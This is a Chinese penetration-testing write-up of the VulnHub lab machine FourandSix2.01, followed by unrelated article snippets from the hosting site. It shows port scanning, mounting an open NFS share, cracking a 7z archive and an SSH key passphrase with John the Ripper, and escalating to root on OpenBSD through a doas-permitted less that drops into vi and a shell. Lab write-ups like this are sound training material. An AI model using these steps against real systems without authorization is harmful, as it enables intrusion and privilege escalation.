[VulnHub靶机渗透] FourandSix2.01

news2024/11/15 13:57:09
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

二、信息收集+渗透测试

1、NFS渗透

2、7z压缩包的密码破解

3、ssh私钥登录

三、信息收集+提权

1、信息收集

2、less+vi提权


前言

靶机精讲之FourandSix2.01。vulnhub靶机,涉及7z压缩包暴力破解,ssh密语暴力破解,用到7z2john和ssh2john工具,还有doas下less命令+vi编辑器提权。机器是OpenBSD系统,不多见,小巧精悍,细节满满,是很不错的密码暴力破解演示和提权技巧示范。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.102

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

扫描端口发现,开放了22、111、832、2049端口

┌──(root💀kali)-[~]
└─# nmap --min-rate 10000 -p- 192.168.31.102

扫描UDP端口的开放情况,其中参数-sU表示进行UDP扫描,- -top-port 40表示扫描前40个常用端口。

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 40 192.168.31.102

扫描发现了2049UDP端口开放了nfs协议,我们可以利用靶场的nfs协议查看下有哪些共享文件,看看对我们渗透有没有价值。

NFS(Network File System)是一种网络文件系统协议,它允许不同操作系统之间共享文件和文件系统。NFS最初由Sun Microsystems开发,并成为了UNIX和类UNIX系统中最常用的网络文件系统协议之一。

使用NFS,一个计算机可以将其文件系统的一部分或全部共享给其他计算机,使得其他计算机可以通过网络访问和操作这些文件。NFS使用客户端-服务器模型,其中一个计算机充当NFS服务器,而其他计算机则作为NFS客户端连接到服务器。

3、漏洞扫描

也没有什么具体的漏洞发现,端口扫描都没有发现80和8080web页面的,说明这个靶场在其他的地方进行渗透测试,比如我们开始扫描到的nfs服务,我们下一步就可以进行测试下

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,111,832,2049 192.168.31.102 

二、信息收集+渗透测试

1、NFS渗透

要在Kali Linux上查看已共享的NFS文件,你可以执行以下步骤:

  1. 首先,确保你的Kali Linux系统上已安装了nfs-common包。如果没有安装,你可以使用以下命令进行安装:
sudo apt update
sudo apt install nfs-common
  1. 接下来,使用以下命令来查看可用的NFS共享:
showmount -e <NFS服务器IP地址>

-e表示exports,可以看到共享目录是/home/user/storage,并且everyone所有人都可以访问

将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址。运行该命令后,你将看到NFS服务器上共享的目录列表。
  1. 如果要挂载NFS共享到本地目录以访问文件,可以使用以下命令:
sudo mount <NFS服务器IP地址>:<共享目录> <本地目录>
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址,<共享目录>替换为希望共享的目录路径,<本地目录>替换为将共享目录挂载到的本地目录路径。

成功挂载后,你将能够在本地目录中访问和操作NFS共享的文件。

看起来是个7z的压缩包,我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑:

2、7z压缩包的密码破解

解压.7z压缩包:使用以下命令解压.7z压缩包:

┌──(root💀kali)-[~/桌面/nfsdir]
└─# 7z x backup.7z

发现解压这个7z压缩包需要使用密码,但是我们发现这个压缩包里面有8张图片,然后还有一个私钥和公钥,这对我们很重要,因为我们可以利用私钥进行ssh免密码登录。

干脆就用john爆破吧。由于john爆破只能针对hash文件,因此我们先用7z2john生成7z压缩包的哈希

┌──(root??kali)-[~/桌面/nfsdir]
└─# sudo apt install john   //使用7z2john工具要先下载John the Ripper 

7z2john backup.7z > backup7z_hash

如果师傅们运行7z2john的命令后出现如下报错:

那么解决方法:

提示表明在运行7z2john脚本时,缺少了Compress::Raw::Lzma Perl模块。要解决这个问题,需要安装该模块。只要运行以下两个命令安装即可:

sudo apt update
sudo apt install libcompress-raw-lzma-perl

然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。

生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

john --show backup7z_hash //查看生成的密码

//得到密码是:chocolate

使用密码chocolate,得到8张图片和两个钥匙文件

老规矩,看到图片我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑的,但是没有发现什么有价值的信息。

3、ssh私钥登录

发现id_rsa文件里面的就是一个 OpenSSH 私钥,可以用于ssh远程登录

从id_rsa.pub文件里面发现,这个钥匙的用户就是user,这里我们就是拿到了OpenSSH 私钥和这个账户了,下一步我们就可以进行ssh远程登录了。

登录发现,需要我们输入私钥(id_rsa)的密码短语(passphrase),可是我们没有,但是我们可以把id_rsa进行哈希加密,跟开始7z压缩包原理一样,然后再利用john进行爆破。

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102

与破解压缩包的思路类似,先将私钥生成john对应的hash文件,这里命名为id_rsa_hash:

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh2john id_rsa > id_rsa_hash

成功生成了id_rsa_hash,然后用john破解,密码字典指定为rockyou.txt,这里不太了解ssh私钥hash的格式是啥,就干脆不用--format指定,让john自己识别:密码是12345678

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john --show id_rsa_hash 
id_rsa:12345678

1 password hash cracked, 0 left

拿到了私钥的passphrase是12345678,然后我们重新用私钥登录,输入passphrase即可成功登录user的shell:

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102                            
Enter passphrase for key 'id_rsa': 
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

fourandsix2$ id
uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
fourandsix2$ whoami
user
fourandsix2$ uname -a
OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

三、信息收集+提权

1、信息收集

通过进入靶机,我们对靶机进行常规的信息收集,进行sudo提权和SUID以及查看定时任务,还有查看哪些文件具有写入权限的,都没有发现有价值的信息。

2、less+vi提权

在常规的linux系统中,我们拿到初始shell后往往会运行sudo -l查看有什么特殊的信息,但OpenBSD的语法与之不同,无法直接sudo -l。

我们先尝试寻找有什么s位的文件,尝试能否采用suid的方法提权,具有s位的文件表明该文件在运行时能够以其属主权限运行,我们可以借此进行提取,首先在根目录/按照权限-perm搜索具有s权限的文件f:

我们直接用find搜索doas的相关文件:

find / -name doas* -type f 2>/dev/null
fourandsix2$ find / -name doas* -type f 2>/dev/null
/usr/bin/doas
/etc/examples/doas.conf
/etc/doas.conf
fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

非常关键的信息!这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:

doas /usr/bin/less /var/log/authlog

运行发现再用less读取authlog:

这里我们利用less命令对authlog进行查看,且此时less命令是具有root权限的。但less只能读文件,不能执行系统命令。我们知道在less中按字母v是可以启动vi编辑器的,而vi编辑器中输入冒号:后即可输入交互的指令,又由于less具有root权限,在less中启动的vi编辑器应该也具有root权限。

我们先按v,然后会进入vi编辑模式

再输入:!/bin/sh即可提权,感叹号!用于表示执行系统命令:

发现shell以及变成#号了,说明我们提权成功了,我们这里也成功拿到了root的flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1467976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决RabbitMQ管理页面异常/不正确的问题

正确的页面&#xff1a;有Channels、Exchanges等 异常/不正确的页面&#xff1a; 问题原因 我的RabbitMQ是用docker安装的&#xff0c;应该不会是安装的环境有问题。 而且MQ的服务确实是启动了&#xff0c;后端能正常使用&#xff0c;并且管理界面的登录页面也是能正常登录的&…

【软件测试】定位前后端bug总结+Web/APP测试分析

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、Web测试中简单…

【蓝桥备赛】字串简写

字串简写 数据范围 字符串的长度为5*10的五次方&#xff0c;on方时间复杂度会很大。 才用动态规划的思想&#xff0c;dp[i]以i开头的的可能性&#xff0c;因为长度必须大于等于k&#xff0c;当i小于k的时候&#xff0c;如果等于第一个字符&#xff0c;s1时&#xff0c;dp[…

中兴通讯携吉林移动迈向5G-A新阶段,完成3CC技术应用

日前&#xff0c;中兴通讯携手中国移动吉林移动分公司&#xff0c;在5G-A领域取得新突破。具体来说&#xff0c;双方基于MTK芯片M80终端&#xff0c;完成了5G-A三载波聚合试点&#xff0c;实测下行速率达到理论峰值4.25Gbps&#xff0c;相比2.6G单载波速率提升2.5倍。如此成绩&…

C++多继承之菱形继承原理及解决方法

目录 1.单继承和多继承 2.菱形继承 3.虚继承解决菱形继承 3.1使用方法 3.2虚继承原理 4.继承和组合 1.单继承和多继承 一个子类只有一个父类称为单继承 一个子类有多个父类称为多继承 2.菱形继承 菱形继承是多继承的一种复杂的情况 这里会出现一个问题&#xff0c;Assi…

Axtue使用笔记

1、有三种方式可以设置元件顺序 第一种是鼠标右键点击顺序&#xff0c;选择调整操作置顶、置底、上移一层、下移一层&#xff1b; 第二种是在顶部工具栏中&#xff0c;选择调整操作置顶、置底、上移一层、下移一层; 第三种是使用快捷键操作 Windows&#xff1a;置顶&#xff1a…

持续集成,持续交付和持续部署的概念,以及GitLab CI / CD的介绍

引言&#xff1a;上一期我们部署好了gitlab极狐网页版&#xff0c;今天我们介绍一下GitLabCI / CD 目录 一、为什么要 CI / CD 方法 1、持续集成 2、持续交付 3、持续部署 二、GitLab CI / CD简介 三、GitLab CI / CD 的工作原理 4、基本CI / CD工作流程 5、首次设置 …

如何在Python中创建动态图形?

动态图形是使可视化更具吸引力和用户吸引力的好方法。它帮助我们以有意义的方式展示数据可视化。Python帮助我们使用现有强大的Python库创建动态图形可视化。Matplotlib是一个非常流行的数据可视化库&#xff0c;通常用于数据的图形表示&#xff0c;也用于使用内置函数的动态图…

springboot212球队训练信息管理系统

球队训练信息管理系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装球队训练信息管理系统软件…

Bert-VITS-2 效果挺好的声音克隆工具

持中日英三语训练和推理。内置干声分离&#xff0c;切割和标注工具&#xff0c;开箱即用。请点下载量右边的符号查看镜像所对应的具体版本号。 教程地址&#xff1a; sjj​​​​​​​CodeWithGPU | 能复现才是好算法CodeWithGPU | GitHub AI算法复现社区&#xff0c;能复现…

2024.02.24 跑步打卡第 6 天

能受天磨真铁汉&#xff0c;不遭人嫉是庸才 2024.02.24 跑步打卡第 6 天

【Vuforia+Unity】AR07-实现识别条码、二维码内容功能(Barcode Scanner)

Barcode Scanner in Unity | Vuforia Library官方教程,写的很详细,本教程主要参考对象! 主要实现扫描生活中常见的二维码,然后弹出二维码链接,当然我们也可以再次回调自定义函数,弹出数字内容,AR内容效果! 支持的二维码: 局限性 条码扫描组件还定义检测和跟踪的条形…

Docker Container(容器)

"在哪里走散&#xff0c;你都会找到我~" Docker 容器 什么是容器&#xff1f; 通俗来讲&#xff0c;容器是镜像运行的实体。我们对于镜像的认知是&#xff0c;“存储在磁盘上的只读文件”。当我们启动一个容器的本质&#xff0c;就是启动一个进程&#xff0c;即容器…

K线实战分析系列之五:刺透形态——多方反攻信号

K线实战分析系列之五&#xff1a;刺透形态——多方反攻信号 一、刺透形态二、类似刺透形态三、刺透形态的总结 一、刺透形态 阴线在前&#xff0c;阳线在后显示市场曾经跌到了低位&#xff0c;但是在盘中又将价格收回&#xff0c;并且多方收复了前一天大部分的失地 二、类似刺…

计算机设计大赛 深度学习卷积神经网络的花卉识别

文章目录 0 前言1 项目背景2 花卉识别的基本原理3 算法实现3.1 预处理3.2 特征提取和选择3.3 分类器设计和决策3.4 卷积神经网络基本原理 4 算法实现4.1 花卉图像数据4.2 模块组成 5 项目执行结果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基…

ES通用查询页面使用说明

前言:ES语法比较复杂,需要专门的学习,而且查询工具不太友好, 对公司运维人员使用有点困难,所以花了个时间做了一个页面,方便运维人员使用,如下。 也不难,有兴趣的朋友可以私聊发源码。 开发帮助-ES数据查询 搜索 输入要查看的文档索引,文档类型后点【查询】即可 搜…

MySQL知识点总结(五)——锁

MySQL知识点总结&#xff08;五&#xff09;——锁 锁分类表锁 & 行锁如何添加表锁&#xff1f;如何添加行锁&#xff1f; 读锁 & 写锁行锁 & 间隙锁&#xff08;gap lock&#xff09;& 临键锁&#xff08;next-key lock&#xff09; 加锁机制分析可重复读隔离…

C语言:指针(一)

目录 1.内存和地址2. 指针变量和地址2.1 取地址操作符&#xff08;&&#xff09;2.2 指针变量和解引用操作符&#xff08;*&#xff09;2.2.1 指针变量2.2.2 解引用操作符&#xff08;*&#xff09; 2.3 指针变量的大小 3.指针变量的类型和意义3.1 指针的解引用3.2 指针 -指…

桥接模式:解耦抽象与实现,实现灵活多变的扩展结构

文章目录 一、引言二、应用场景与技术背景三、模式定义与实现四、实例详解五、优缺点分析总结&#xff1a; 一、引言 ​ 桥接模式是一种结构型设计模式&#xff0c;它将抽象部分与它的实现部分分离&#xff0c;使它们可以独立变化。这种模式通过创建一个抽象层和实现层的结构&…

【前端素材】推荐优质后台管理系统Be admin平台模板(附源码)

一、需求分析 后台管理系统&#xff08;或称作管理后台、管理系统、后台管理平台&#xff09;是一种专门用于管理网站、应用程序或系统后台运营的软件系统。它通常由一系列功能模块组成&#xff0c;为管理员提供了管理、监控和控制网站或应用程序的各个方面的工具和界面。以下…